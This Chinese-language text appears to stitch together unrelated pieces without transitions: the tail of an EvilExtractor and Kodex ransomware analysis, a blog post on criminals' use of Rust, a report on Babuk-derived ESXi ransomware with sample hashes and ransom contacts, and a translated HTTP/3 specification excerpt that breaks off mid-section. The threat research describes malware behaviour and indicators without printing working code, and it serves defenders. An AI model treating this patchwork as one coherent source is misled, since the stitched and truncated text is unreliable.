它從evidtextractor[.]com下載“zzyy.zip”。解壓後的文件(一個7-zip的獨立控制台)的詳細信息如下圖所示。下圖顯示了它利用“7za.exe”用參數“-p”加密文件,這意味著用密碼壓縮文件。它還生成一條保存在“KodexRansom”中的勒索消息。

16.png

“zzyy.zip”中的文件

17.png

Kodex勒索軟件的PowerShell腳本

18.png

勒索消息

總結EvilExtractor是一個多功能信息竊取程序,具有包括勒索軟件在內的多種惡意功能。它的PowerShell腳本可以在.NET加載程序或PyArmor中躲避檢測。在很短的時間內,它的開發人員已經更新了幾個功能,並提高了它的穩定性。本文介紹了攻擊者如何通過網絡釣魚郵件發起攻擊,以及利用哪些文件來提取EvilExtracrtor PowerShell腳本。本文還詳細介紹了EvilExtractor包括哪些功能,它可以收集哪些數據,以及Kodex勒索軟件的工作原理。用戶應該警惕這種新的信息竊取程序,並謹慎打開可疑郵件。

19.png

攻擊鏈

近些年來,Rust編程語言因諸多優點而越來越受歡迎,包括高級控制、內存安全性和靈活性等優點。然而,雖然這些特性使Rust成為開發人員手裡的一種強大工具,但也使其成為網絡犯罪分子眼裡的一種誘人語言。這篇博文將探討這種語言的陰暗面以及為什麼網絡犯罪分子日益將其用於惡意目的。

Rust這種系統編程語言旨在提供針對系統資源的低級控制,同時確保內存安全性。這使得它成為一種功能強大的語言,適用於開發需要對系統資源(比如操作系統、網絡協議和設備驅動程序)進行嚴加控制的高性能應用程序。

Rust編程語言的歷史Rust編程語言最初是在2010年由Mozilla引入的,當時只是Mozilla員工Graydon Hoare的個人項目。這種語言的初衷是創建一種有望提供比C和C++等現有語言更好的內存安全性和並發性的語言。其語法深受C和C++的影響,但也結合了其他編程語言的功能,比如Haskell和ML。 Rust的開發由貢獻者社區推動,並在2012年開放了源代碼。

Rust迅速流行起來,它在2016年、2017年和2018年的Stack Overflow開發者調查中均被列為人們偏愛使用的編程語言。它已被用於從網頁開發到遊戲開發的眾多項目,並已被微軟、谷歌和Dropbox之類的大公司採用。 Rust的成功可以歸因於專注於性能、安全性、並發性以及活躍的支持性社區。

Rust被用於惡意目的的例子Rust越來越多地被網絡犯罪分子用來開發眾多惡意應用程序。以下是基於Rust的攻擊的幾個例子:

1. 惡意軟件開發——Rust為網絡犯罪分子提供了開發惡意軟件的一種強大工具。 Rust的低級控制和內存安全特性使其成為開發隱秘且複雜的惡意軟件的理想語言,這些惡意軟件可以逃避傳統安全措施的檢測。

2. 殭屍網絡——網絡犯罪分子正在使用Rust開發殭屍網絡,殭屍網絡是由受攻擊計算機組成的網絡,可用於各種惡意目的,包括發送垃圾郵件、實施分佈式拒絕服務(DDoS)攻擊和挖掘加密貨幣。 Rust的高級控制和靈活性使其成為開發殭屍網絡的理想語言,這些殭屍網絡可以逃避安全措施的檢測。

3. 網絡釣魚攻擊——Rust可以用來開發複雜的網絡釣魚攻擊,可以誘騙用戶洩露其個人信息。 Rust的易用性和靈活性使其成為開發網絡釣魚工具的理想語言,這類工具可加以定制,以便攻擊特定的用戶和平台。

4. 加密貨幣挖掘攻擊——網絡犯罪分子使用Rust開發惡意軟件,從而劫持受害者的計算機來挖掘加密貨幣。 Rust的高級控制和內存安全特性使其成為開發隱秘且複雜的加密貨幣挖掘惡意軟件的理想語言。

5. 勒索軟件攻擊——Rust可用於開發複雜的勒索軟件攻擊,從而加密受害者的數據並要求支付贖金,以換取解鎖加密數據的密鑰。 Rust的低級控制和內存安全特性使得安全研究人員很難檢測和消除用Rust開發的勒索軟件攻擊。

哪些勒索軟件組織使用Rust?用Rust編寫的勒索軟件持續了整個2022年,2021年底出現的BlackCat組織就採用了這種惡意軟件。美國聯邦調查局(FBI)分析BlackCat後認為,該組織的高成功率歸因於他們使用用Rust編寫的勒索軟件種類。

BlackCat它也被稱為ALPHV,自從出現以來,SOCRadar已記錄的受害者有200多個。這是第一個用Rust開發的勒索軟件,也是攻擊次數最多的。 BlackCat使用RaaS模式。然而,為了在網絡犯罪市場中脫穎而出,他們改變了商業模式,對使用其版本進行的攻擊提供最高90%的獎勵。

Hive自2021年以來,基於RaaS的Hive勒索軟件一直在肆虐。在2022年,它們以第二種Rust惡意軟件的面目示人,在其洩露網站上披露了200多個受害者。

然而,Hive勒索軟件組織已備受關注。外國執法官員曾在2023年1月成功地端掉了至少兩個洩露網站。

Luna卡巴斯基的研究人員發現了Luna勒索軟件。勒索軟件組織面向在暗網上說俄語的加盟組織推廣Luna。該惡意軟件於2022年7月被確認是用Rust編寫的惡意軟件之一,可以感染所有Windows ESXi和Linux計算機。 Luna結合採用了x25519加密和AES加密,進一步加大了逆向工程的難度。

RansomwareExxRansomwareExx2變種是RansomwareExx家族的成員,於2022年最後幾個月被發現。這個惡意軟件再次證明了用其他語言編寫的變種具有的危險性,因為在最初檢測後的兩週,VirusTotal的結果都沒有將其識別為是有害的惡意軟件。

Agenda研究人員發現,在2022年最後一個月轉而採用Rust的組織是Agenda或Qilin組織。它們之前是用Go編寫的變種,針對每個受害者量身定制。該組織採用了RaaS模式,對許多國家和行業發動了勒索軟件攻擊。由Go改為Rust導致了逆向工程更具挑戰性,而且檢測率比Go變種更低。

網絡犯罪分子鍾情Rust編程語言的原因一種名為Rust的比較新的編程語言由於其速度、可靠性和內存安全特性而在開發人員中越來越受歡迎。然而,網絡犯罪分子也注意到了Rust在創建惡意軟件及其他惡意工具方面具有的潛力。

Rust的內存安全特性使得黑客很難利用內存漏洞,這是一種用於控制系統的常用策略。然而,同樣這項特性也使黑客更容易創建難以檢測和刪除的惡意軟件。

Rust的速度和性能使其成為開發可以快速跨網絡傳播並感染多個系統的惡意軟件的一種誘人的選擇。它還便於黑客創建更複雜的攻擊,規避傳統的安全措施。

Rust的開源特性及其不斷擴大的開發者社區也為網絡犯罪分子提供了輕鬆訪問代碼庫和資源的機會,這些代碼庫和資源可用於開發新的、更危險的攻擊。

雖然Rust本身並不是惡意的,但它的特性和日益流行使其成為網絡犯罪分子的重要工具。隨著開發人員繼續探究Rust的潛力,安全社區需要保持警惕,並開發新的策略來檢測和緩解基於Rust的攻擊。

Rust和網絡犯罪的未來Rust在開發人員當中越來越受歡迎,這意味著它也可能成為越來越受網絡犯罪分子歡迎的語言。隨著Rust越來越受歡迎,可以預料會出現更複雜更隱秘的基於Rust的攻擊。

然而,Rust的日益普及也意味著它可能會成為網絡安全專業人員的首選語言。隨著更多的網絡安全專業人員熟悉Rust及其特性,我們預計會看到開發出新的工具和技術來檢測和緩解基於Rust的威脅。

值得注意的是,Rust本身並不是天生就是惡意的。像任何編程語言一樣,它是一種工具,既可以用於正道,也可以用於歪道。 Rust開發人員有責任通過設計安全可靠的應用程序來防止被濫用。

結論Rust是一種功能強大的編程語言,越來越多地被網絡犯罪分子用於惡意目的。其高級控制、內存安全性和靈活性使其成為開發隱秘且複雜的惡意軟件、殭屍網絡、網絡釣魚攻擊、加密貨幣挖掘惡意軟件和勒索軟件攻擊的理想語言。

將Rust用於惡意目的給網絡安全專業人員帶來了幾個挑戰,包括Rust固有的安全特性、與安全工具的兼容性、檢測基於Rust的攻擊的難度,以及需要專門的技能和知識來防禦基於Rust的威脅。

然而,Rust的日益普及也意味著它很可能成為網絡安全專業人員的首選語言。隨著更多的網絡安全專業人員熟悉Rust及其特性,我們預計會看到開發出新的工具和技術來檢測和緩解基於Rust的威脅。

0.jpg

博文摘要基於2021年洩露的Babuk源代碼,SentinelLabs發現了10個勒索軟件團伙使用VMware ESXi加密器(locker)。

這些變體出現在2022年下半年和2023年上半年,表明了Babuk源代碼採用率與日俱增的趨勢。

洩露的源代碼使威脅分子能夠攻擊Linux系統,他們原本缺乏構建切實可行的程序的專長。

隨著更多的威脅分子採用工具,源代碼洩露進一步加大了追根溯源的複雜性。

背景介紹在2023年初,SentinelLabs觀察到基於Babuk(又名Babak或Babyk)的VMware ESXi勒索軟件有所增加。 2021年9月的Babuk洩露事件為我們深入了解有組織的勒索軟件團伙的開發活動提供了大好機會。

由於ESXi在本地和混合企業網絡中很普遍,這種虛擬機管理程序是勒索軟件的重要目標。在過去的兩年裡,多個有組織的勒索軟件團伙採用了Linux加密器,包括ALPHV、Black Basta、Conti、Lockbit和REvil。相比其他Linux變體,這些團伙更關注ESXi,利用ESXi虛擬機管理程序的內置工具來終結訪客系統,然後加密關鍵的虛擬機管理程序文件。

我們發現洩露的Babuk源代碼和歸因於Conti和REvil的ESXi加密器之間存在重疊,後者的迭代版本彼此非常相似。我們還將它們與洩露的Conti Windows加密器源代碼進行了比較,發現了共同的定制函數名和功能特性。

除了這些臭名昭著的團伙外,我們還發現了使用Babuk源代碼生成更出名的ESXi加密器的小型勒索軟件團伙。從Babuk衍生而來的ESXi加密器陣營越來越龐大,包括Ransom House團伙的Mario和之前未記錄的ESXi版本的Play勒索軟件。

Babuk背景Babuk是ESXi勒索軟件領域的早期團伙之一。該團伙的壽命在2021年受到影響,當時Babuk的開發人員洩露了Babuk基於C++的Linux可執行和可鏈接格式(ELF)ESXi、基於Golang的網絡附加存儲(NAS)和基於C++的Windows勒索軟件工具的構建器源代碼。

直到2022年初,沒有太多跡象表明威脅分子改動了洩露的Babuk源代碼,除了曇花一現的“Babuk 2.0”變體和偶爾死灰復燃的新的Windows勒索軟件外。由於網絡犯罪研究常針對Windows,Linux領域的動向悄然出現。

SentinelLabs通過源代碼/6а6ак/esxi/enc/main.cpp中的字符串Doesn 't encrypted files: %d\n,發現了由Babuk派生而來的勒索軟件。

1.jpg

圖1. Babuk源代碼main.cpp中的獨特字符串

Babuk構建器為新生成的二進製文件指定文件名e_esxi.out。我們發現的幾個樣本都有類似的命名約定:

2.png

圖2

在加密方面,ESXi Babuk使用Sosemanuk流密碼的實現對目標文件進行加密,而Windows版本的Babuk使用HC-128加密。 ESXi和Windows Babuk都使用Curve25519-Donna來生成加密密鑰。

數代Babuk家族比較方法SentinelLabs整理出了未精簡的Babuk二進製文件,為Babuk的外觀和行為確立基準,此後稱之為“基準Babuk”(Baseline Babuk)。為了解我們發現的變體是否與Babuk有關,我們將每個變體與這個基準Babuk樣本進行了比較,凸顯了顯著的相似和差異之處。

Babuk 2023(.XVGV)SHA1:e8bb26f62983055cfb602aa39a89998e8f512466

XVGV又名Babuk 2023,於2023年3月出現在Bleeping Computer的論壇上。基準Babuk和XVGV共享了由main.cpp派生而來的代碼、來自args.cpp的參數處理函數和加密實現。

與Babuk一樣,XVGV要求勒索軟件團伙提供要加密的目錄作為參數。在動態分析過程中,我們提供了測試系統的用戶目錄。在第一次運行時,樣本在所有子目錄中生成了勒索信HowToRestore.txt。

然而只有6個文件被加密,每個文件的擴展名為.log或.gz。查看包含的文件擴展名可以發現為什麼破壞很有限:XVGV針對以VMware為中心的文件,排除那些與指定列表不匹配的文件。這是基準Babuk共有的行為,不過XVGV開發者添加了更多的文件擴展名。

3.jpg

圖3. XVGV.rodata部分引用文件擴展名(左)和Babuk源代碼對應部分

Play(.FinDom)SHA1:dc8b9bc46f1d23779d3835f2b3648c21f4cf6151

該文件引用文件擴展名.FinDom以及勒索電子郵件地址findomswitch@fastmail.pw,這些是與Play勒索軟件相關的工件。這是針對Linux系統構建的第一個已知版本的Play,這與勒索軟件團伙日益攻擊Linux的趨勢保持一致。 Play包含與基準Babuk相同的文件搜索功能;它還使用Sosemanuk實現加密。

4.jpg

圖4. 基準Babuk(左)和Play反彙編勒索信構造函數

Play二進製文件作為壓縮包(SHA1: 9290478cda302b9535702af3a1dada25818ad9ce)的一部分被提交到VirusTotal,壓縮包裡有多種黑客工具和實用程序,包括AnyDesk、NetCat、特權升級批處理文件和編碼的PowerShell Empire腳本,在獲得初始訪問權後它們與勒索軟件團伙採用的技術相關聯。

Mario(.emario)SHA1:048 b3942c715c6bff15c94cdc0bb4414dbab9e07

Mario勒索軟件由Ransom House運營,該團伙於2021年浮出水面。 Ransom House最初聲稱,他們以易受攻擊的網絡為目標,竊取數據,並不加密文件。然而該團伙此後採用了加密器。

樣本同樣有一個很相似的find_files_recursive函數,包括默認的勒索信文件名How To Restore Your Files.txt。加密函數也一樣。

冗長的勒索信內容是Mario ESXi加密器最獨特的部分。 Ransom House威脅分子向受害者提供了非常明確的指示,解釋應該做什麼、如何與他們聯繫。

5.jpg

圖5. Mario字符串顯示默認的Babuk日誌信息和勒索信

Conti POC(.conti)Conti POC—SHA1:091f4bddea8bf443bc8703730f15b21f7ccf00e9

Conti ESXi加密器SHA1:ee827023780964574f28c6ba333d800b73eae5c4

令我們驚訝的是,搜尋Babuk過程中發現了幾個內部名為“Conti POC”的二進製文件,POC的全稱可能是“概念驗證”,這些二進製文件出現在2022年9月針對墨西哥實體的一起活動中。

Conti是一個臭名昭著的勒索軟件團伙,組織嚴密、冷酷無情。洩露的信息顯示,Conti的組織體系更像許多合法公司,而不是犯罪團伙:該團伙僱傭了中層管理和人力資源部門。大約在2021年初,洩露的聊天記錄顯示,Conti在讓其ESXi加密器發揮功效時遇到了麻煩。

我們比較了Conti和Babuk的幾個迭代版本,以評估兩者的聯繫。 Conti ESXi於2022年4月問世,這可能意味著Conti在2021年9月Babuk代碼洩露後實現了該代碼,最終使加密器發揮功效。

Conti POC和Conti ESXi加密器:Conti POC不太成熟,這與“概念驗證”的名稱倒是一致。 Conti POC和Conti ESXi有許多相同的函數名和行為,包括相同的參數處理函數和條件。我們得出結論,這些樣本是相關的;Conti POC可能是Conti ESXi加密器的前身。

6.jpg

圖6. Conti ESXi(左)和Conti POC Babuk派生參數處理的橫向比較視圖

Conti POC 基準Babuk:Conti POC SearchFiles和基準Babuk find_files_recursive函數非常相似,含有相同的文件狀態變量名。 Conti將此函數的某些部分移植到了其他本地模塊,表明比基準Babuk更成熟。這兩個家族還有相似的主函數,表明兩者也有聯繫,Conti POC是更成熟的基準Babuk進化版。

7.jpg

圖7. 基準Babuk(左)中的find_files_recursive和Conti POC中的SearchFiles

對比Conti Windows洩露代碼:在Linux版本的Conti(POC和ESXi)與洩露的Windows Conti代碼之間,實用程序和函數名稱存在相當大的重疊。兩個版本都使用相同的開源ChaCha加密實現。洩露的Conti Windows代碼含有註釋掉的對HandleCommandLine的引用——這是我們分析的其他Conti變體中看到的一個函數,以及幾個需要解析的共享參數,比如prockiller。開發人員可能會在Windows版本與ESXi加密器之間對齊了函數名,以實現功能同等。

8.jpg

圖8. Conti ESXi(左)和Windows main.cpp HandleCommandLine函數

REvil,又名Revix(.rhkrc)RHKRC— SHA1:74e4b2f7abf9dbd376372c9b05b26b02c2872e4b

2021年6月Revix—SHA1:29f16c046a344e0d0adfea80d5d7958d6b6b8cfa

我們發現了一個內部名為RHKRC的類似Babuk的樣本,它將.rhkrc擴展名附加到文件名的末尾,這個行為與REvil團伙的“Revix”ESXi加密器相關聯。有意思的是,關於外頭Revix的報告可以追溯到2021年6月,早於2021年9月的Babuk源代碼洩露。

為了明白這在發展時間表中所在的位置,我們比較了相關活動的幾個迭代版本:

RHKRC和Conti POC:這兩個版本異常相似,都通過上述的ChaCha20實現了加密。它們有一個幾乎相同的InitializeEncryptor函數。這些樣品是相關的。

9.jpg

圖9.來自RHKRC(左)和Conti POC的InitializeEncryptor函數

10.jpg

圖10.來自RHKRC(左)和Conti POC的EncryptFull函數

RHKRC和基準Babuk:這些樣本有許多相同的函數名,包括Babuk的原生線程池。然而,RHKRC實現加密的方式有所不同,它有更定制的ESXi CLI活動。我們認為這些樣本是相關的,不過RHKRC更成熟,儘管同樣處於“概念驗證”階段。

RHKRC和2021年6月Revix:我們比較了RHKRC和2021年6月活躍的Revix。 Revix要成熟得多,包含在分析的其他變體中未看到的動態代碼去混淆措施。 RHKRC和Revix都有相同的內部文件名(elf.exe)、勒索信名稱和附加的文件擴展名。然而,這些相似之處主要是表面上的,我們無法得出是否明確存在關聯的結論。關於這些巧合的任何說法都只是猜測。

榮譽提名SentinelLabs特別指出,還有另外幾個已知的家族由Babuk ESXi源代碼派生而來,包括:

Cylance勒索軟件(與同名安全公司無關)

Dataf加密器

Rorschach,又名BabLock

Lock4

RTM加密器

雖然毫無疑問有更多的Babuk衍生變體未引起注意,但還有其他獨特的ESXi勒索軟件家族。粗略看一下ALPHV、BlackBasta、Hive和Lockbit的ESXi加密器,發現它們與Babuk沒有明顯的相似之處。

Babuk偶爾也會背黑鍋。坊間報導的2月份ESXiArgs活動曾短暫摧毀了一些未打補丁的雲服務,聲稱同名加密器由Babuk派生而來。然而我們分析後發現,ESXiArgs(SHA1: f25846f8cda8b0460e1db02ba6d3836ad3721f62)與Babuk幾乎沒有相似之處。唯一值得注意的相似之處是,使用相同的開源Sosemanuk加密實現。主函數完全不同,如下所示。 ESXiArgs還使用外部shell腳本來搜索文件,向esxcli提供參數,因此沒有原生的find_files_recursive函數可供比較。

11.jpg

圖11. ESXiArgs主函數

結論SentinelLabs的分析發現了ESXi勒索軟件家族之間的意外聯繫,揭示了Babuk與Conti和REvil等更出名的團伙之間可能存在的關係。雖然與REvil的關係仍是暫時的,但這些團伙(Babuk、Conti和REvil)有可能將ESXi加密器項目外包給了同一家開發商。在勒索軟件開髮圈,Linux惡意軟件開發商面臨的人才庫肯定要小得多,而勒索軟件開髮圈在開發高明的Windows惡意軟件方面一直擁有可圈可點的專長。勒索軟件團伙遭遇過無數次洩密,所以這些圈子中出現小規模洩露也在情理之中。此外,威脅分子可能共享代碼進行協作,類似開放開發項目的源代碼。

一個明顯的趨勢是,威脅分子日益使用Babuk構建器來開發ESXi和Linux勒索軟件。當由資源較少的威脅分子使用時,這一點尤為明顯,因為這些威脅分子不太可能大幅修改Babuk源代碼。

從Babuk的ESXi加密器代碼的流行程度來看,威脅分子也可能轉向該團伙基於Go的NAS加密器。對於許多威脅分子來說,Gang仍然是小眾的選擇,但其人氣在不斷提升。被盯上的NAS系統也基於Linux。雖然NAS加密器不那麼複雜,但代碼清晰易讀,這可能使熟悉Go或類似編程語言的開發人員更容易訪問勒索軟件。

攻陷指標12.png

圖12

5.3. 立即關閉應用程序HTTP/3實現可以在任何時候立即關閉QUIC連接。這將導致向對等方發送一個QUIC CONNECTION_CLOSE幀,這表明應用層已經終止了連接。此幀中的應用程序錯誤代碼向對等方表明連接被關閉的原因。有關在HTTP/3 中關閉連接時可以使用的錯誤代碼,請參閱第8 節。

在關閉連接之前,可能會發送一個GOAWAY 幀以允許客戶端重試某些請求。將GOAWAY幀包含在與QUIC CONNECTION_CLOSE幀相同的包中可以提高客戶端接收幀的機會。

如果存在未明確關閉的打開流,則在關閉連接時將其悄悄關閉。

5.4. 運輸關閉由於各種原因,QUIC傳輸可以向應用層表明連接已經終止。這可能是由於對等方明確地關閉、傳輸層錯誤或中斷連接的網絡拓撲變化造成的。

如果連接在沒有GOAWAY幀的情況下終止,客戶端必須假定發送的任何請求,無論是全部的還是部分的,都可能已經被處理。

6. 流映射和使用QUIC流提供可靠的字節按順序傳遞,但不保證與其他流上的字節的傳遞順序。在QUIC的版本1中,包含HTTP幀的流數據由QUIC stream幀承載,但是這個幀對HTTP幀層是不可見的。傳輸層對接收到的流數據進行緩沖和排序,向應用程序公開可靠的字節流。雖然QUIC允許在流中無序傳遞,但HTTP/3 並未使用此功能。

QUIC 流可以是單向的,僅從發起者到接收者傳輸數據,也可以是雙向的,雙向傳輸數據。流可以由客戶端或服務器發起。

當通過QUIC 發送HTTP 字段和數據時,QUIC 層處理大部分流管理。使用QUIC 時,HTTP 不需要進行任何單獨的多路復用,通過QUIC 流發送的數據總是映射到特定的HTTP 事務或整個HTTP/3 連接上下文。

6.1雙向流所有客戶端發起的雙向流都用於HTTP請求和響應。雙向流確保響應可以很容易地與請求相關聯。這些流稱為請求流。

這意味著客戶端的第一個請求發生在QUIC流0上,隨後的請求發生在流4、流8等流中。為了允許這些流打開,HTTP/3服務器應該為允許的流數量和初始流控制窗口配置非零的最小值。為了避免不必要地限制並行性,一次至少應該允許100個請求流。

HTTP/3不使用服務器發起的雙向流,儘管擴展可以定義這些流的用途。客戶端必須將接收到服務器發起的雙向流作為H3_STREAM_CREATION_ERROR類型的連接錯誤,除非已經協商了這樣的擴展。

6.2單向流任意一個方向的單向流都可用於不同的用途。其目的由流類型表示,該流類型在流的開頭作為可變長度整數發送。這個整數後面的數據的格式和結構由流類型決定。

1.png

單向流標頭

HTTP/3連接在其生命週期的早期階段的性能對單向流上的數據創建和交換非常敏感。過度限制流的數量或這些流的流控制窗口的終端將增加遠程對等方提前達到限制並被阻止的機會。特別是,實現應該考慮遠程對等方可能希望使用他們被允許使用的一些單向流來執行保留的流行為。

每個終端都需要為HTTP控制流創建至少一個單向流。 QPACK需要兩個額外的單向流,而其他擴展可能需要更多的流。因此,客戶端和服務器端發送的傳輸參數必須允許對等方創建至少三個單向流。這些傳輸參數還應該為每個單向流提供至少1024字節的流量控制信用。

請注意,如果終端在創建關項單向流之前消耗了所有初始信用,則不需要授予額外信用來創建更多單向流。終端應該首先創建HTTP 控制流以及強制擴展所需的單向流(例如QPACK 編碼器和解碼器流),然後在其對等方允許的情況下創建其他流。

如果流標頭是接收方不支持的流類型,則無法使用流的其餘部分,因為語義未知。未知流類型的接收者必須中止讀取流或刪除傳入數據而不進行進一步處理。如果讀取被中止,接收者應該使用H3_STREAM_CREATION_ERROR 錯誤代碼或保留的錯誤代碼。接收者不得將未知流類型視為任何類型的連接錯誤。

由於某些流類型會影響連接狀態,因此接收者不應在讀取流類型之前刪除來自傳入單向流的數據。

實現可以在知道對等方是否支持它們之前發送流類型。但是,可以修改現有協議組件(包括QPACK 或其他擴展)的狀態或語義的流類型,在知道對等方支持它們之前,絕對不能發送。

除非另有說明,否則發送者可以關閉或重置單向流。接收者必須容忍單向流在接收到單向流標頭之前被關閉或重置。

6.2.1 控制流控制流由0x00流類型表示。該流上的數據由HTTP/3幀組成。

每一方必須在連接開始時初始化一個控制流,並將其SETTINGS幀作為該流的第一幀發送。如果控制流的第一幀是任何其他幀類型,則必須作為H3_MISSING_SETTINGS類型的連接錯誤處理。每個對等方只允許一個控制流;接收到第二個聲稱是控制流的流必須作為H3_STREAM_CREATION_ERROR類型的連接錯誤處理。發送方絕對不能關閉控制流,接收方也絕對不能請求發送方關閉控制流。如果任何一個控制流在任何時候被關閉,這必須作為h3_close_critical_stream類型的連接錯誤處理。

由於控制流的內容用於管理其他流的行為,終端應該提供足夠的流控制信用來防止對等方控制流被阻止。

使用一對單向流而不是一個雙向流。這允許任何一方能夠盡快發送數據。根據QUIC連接上是否有0-RTT,客戶端或服務器都可以首先發送流數據。

6.2.2 push stream服務器推送是HTTP/2中引入的一個可選特性,它允許服務器在請求發出之前發起響應。 push stream由流類型0x01指示,後面是它所實現的承諾的Push ID,編碼為可變長度整數。該流上的剩餘數據由HTTP/3幀組成,並通過零個或多個臨時HTTP響應,以及隨後的單個最終HTTP 響應來實現承諾的服務器推送。只有服務器可以推送,如果服務器接收到客戶端發起的push stream,則必須將其視為H3_STREAM_CREATION_ERROR 類型的連接錯誤。

2.png

push stream標頭

客戶端不應在讀取push stream標頭之前中止對push stream的讀取,因為這可能導致客戶端和服務器之間在已使用推送ID 的情況下出現分歧。

每個Push ID只能在push stream標頭中使用一次。如果客戶端檢測到一個push stream標頭包含在另一個push stream標頭中使用的Push ID,客戶端必須將其作為H3_ID_ERROR類型的連接錯誤處理。

6.2.3 保留流類型對於N 的非負整數值,格式為0x1f * N +0x21 的流類型被保留以執行忽略未知類型的要求。這些流沒有語義,可以在需要應用層填充時發送。它們也可以在當前沒有數據傳輸的連接上發送。終端在接收時絕對不能認為這些流有任何意義。

以發送實現選擇的任何方式選擇流的有效負載和長度。當發送保留流類型時,實現可以乾淨地終止流或重置流。當重置流時,應該使用H3_NO_ERROR錯誤碼或保留錯誤碼。

7. HTTP幀層如上所述,HTTP幀在QUIC流上傳輸。 HTTP/3定義了三種流類型:控制流、請求流和push stream。本節介紹HTTP/3 幀格式及其允許的流類型。

3.png

HTTP/3幀和流類型概述

SETTINGS幀只能作為控制流的第一幀出現,從表1(1)中可以看出。請注意,與QUIC幀不同,HTTP/3幀可以跨越多個數據包。

7.1 幀佈局所有幀都具有以下格式:

4.png

HTTP/3幀格式

每個幀包括以下字段:

類型:標識幀類型的可變長度整數。

長度:一個可變長度整數,用於描述幀有效負載的長度(以字節為單位)。

幀載荷:有效負載,其語義由Type 字段確定。

每個幀的有效負載必須準確包含在其描述中標識的字段。在已識別字段之後包含附加字節的幀有效載荷或在已識別字段結束之前終止的幀有效載荷必須被視為H3_FRAME_ERROR 類型的連接錯誤。特別是,冗余長度編碼必須經過驗證是自洽的。

當流完全終止時,如果流上的最後一幀被截斷,則必須將其視為H3_FRAME_ERROR 類型的連接錯誤。突然終止的流可以在幀中的任何點重置。

7.2 幀的定義7.2.1 數據DATA 幀(type=0x00) 傳送與HTTP 請求或響應內容相關的任意可變長度字節序列。

DATA 幀必須與HTTP 請求或響應相關聯。如果在控制流上接收到DATA 幀,接收者必須以H3_FRAME_UNEXPECTED 類型的連接錯誤進行響應。

5.png

數據幀

7.2.2 標頭HEADERS 幀(type=0x01) 用於攜帶使用QPACK 編碼的HTTP 字段部分。

6.png

標頭幀

HEADERS 幀只能在請求流或push stream上發送。如果在控制流上接收到HEADERS 幀,則接收者必須以H3_FRAME_UNEXPECTED 類型的連接錯誤進行響應。

7.2.3 CANCEL_PUSHCANCEL_PUSH 幀(類型=0x03)用於在接收push stream之前請求取消服務器推送。 CANCEL_PUSH 幀通過推送ID(參見第4.6 節)標識服務器推送,編碼為可變長度整數。

當客戶端發送一個CANCEL_PUSH幀時,它表示不希望接收承諾的資源。服務器應該中止發送資源,但是這樣做的機制取決於相應的push stream的狀態。如果服務器還沒有創建push stream,它就不會創建push stream。如果push stream是打開的,服務器應該突然終止該流。如果push stream已經結束,服務器仍然可以突然終止流或不採取任何行動。

服務器發送一個CANCEL_PUSH幀來表明它不會履行先前發送的承諾。客戶端不能期望相應的承諾得到實現,除非它已經接收並處理了承諾的響應。無論是否打開了push stream,當服務器確定承諾不會被履行時,它應該發送一個CANCEL_PUSH 幀。如果流已經打開,服務器可以中止在流上發送,錯誤代碼為H3_REQUEST_CANCELLED。

發送CANCEL_PUSH 幀對現有push stream的狀態沒有直接影響。當客戶端已經接收到相應的push stream時,它不應該發送CANCEL_PUSH 幀。在客戶端發送CANCEL_PUSH 幀後,push stream可能會到達,因為服務器可能尚未處理CANCEL_PUSH。客戶端應該中止讀取流,錯誤代碼為H3_REQUEST_CANCELLED。

在控制流上發送CANCEL_PUSH 幀。在控制流以外的流上接收CANCEL_PUSH 幀必須被視為H3_FRAME_UNEXPECTED 類型的連接錯誤。

7.png

CANCEL_PUSH幀

CANCEL_PUSH 幀攜帶一個編碼為可變長度整數的Push ID。 Push ID字段標識正在被取消的服務器推送。如果接收到的CANCEL_PUSH幀引用了一個大於當前連接允許的push ID,這必須作為H3_ID_ERROR類型的連接錯誤處理。

如果客戶端收到CANCEL_PUSH 幀,則該幀可能會標識由於重新排序而尚未被PUSH_PROMISE 幀提及的推送ID。如果服務器接收到一個尚未被PUSH_PROMISE 幀提及的推送ID 的CANCEL_PUSH 幀,則必須將其視為H3_ID_ERROR 類型的連接錯誤。

7.2.4 設置SETTINGS 幀(type=0x04) 傳遞影響終端通信方式的配置參數,例如對對等行為的偏好和約束。單獨地,一個SETTINGS 參數也可以稱為'setting';每個SETTINGS參數的標識和值可以稱為“設置標識”和“設置值”。

SETTINGS 幀始終適用於整個HTTP/3 連接,而不是單個流。 SETTINGS 幀必須作為每個控制流的第一幀被每個對等方發送,並且不得隨後發送。如果終端在控制流上接收到第二個SETTINGS 幀,終端必須以H3_FRAME_UNEXPECTED 類型的連接錯誤響應。

SETTINGS 幀不得在控制流以外的任何流上發送。如果終端在不同的流上接收到SETTINGS 幀,終端必須以H3_FRAME_UNEXPECTED 類型的連接錯誤響應。

SETTINGS 參數未協商;它們描述了接收對等方可以使用的發送對等方的特徵。但是,使用SETTINGS 可以暗示協商:每個對等方都使用SETTINGS 來發布一組支持的值。設置的定義將描述每個對等方如何組合這兩個集合以得出將使用哪個選項的結論。 SETTINGS 不提供識別選擇何時生效的機制。

每個對等方可以通告相同參數的不同值。例如,客戶端可能願意使用非常大的響應字段段,而服務器則對請求大小更加謹慎。

相同的設置標識符不能在SETTINGS 幀中出現多次。接收端可以將重複設置標識符的存在視為H3_SETTINGS_ERROR類型的連接錯誤。

SETTINGS幀的有效載荷由零個或多個參數組成。每個參數由一個設置標識符和一個值組成,它們都編碼為QUIC可變長度整數。

8.png

設置幀

一個實現必須忽略任何帶有它不理解的標識符的參數。

7.2.4.1 定義SETTINGS參數HTTP/3 中定義了以下設置:

SETTINGS_MAX_FIELD_SECTION_SIZE (0x06):

默認值為無限制。

為N 的非負整數值設置格式為0x1f * N +0x21 的標識符被保留以執行忽略未知標識符的要求。此類設置沒有明確的含義。終端應該在其SETTINGS幀中包含至少一個這樣的設置。終端絕對不能認為這些設置在接收時有任何意義。

由於該設置沒有定義的含義,因此該設置的值可以是實現選擇的任何值。

在[HTTP/2]中定義的設置標識符沒有對應的HTTP/3設置也被保留。這些保留的設置絕對不能發送,並且它們的接收必須作為H3_SETTINGS_ERROR類型的連接錯誤處理。

其他設置可以通過HTTP/3 的擴展來定義。

7.2.4.2 初始化HTTP實現絕對不能發送基於當前對對等方設置的理解而無效的幀或請求。

所有設置都從初始值開始。每個終端應該使用這些初始值在對等方的SETTINGS幀到達之前發送消息,因為攜帶設置的數據包可能會丟失或延遲。當SETTINGS幀到達時,任何設置都將被更改為新的值。

這樣就不需要在發送消息之前等待SETTINGS幀。在發送SETTINGS幀之前,終端絕對不能要求從對等方接收任何數據,必須在傳輸準備好發送數據後立即發送設置。

對於服務器,每個客戶端設置的初始值都是默認值。

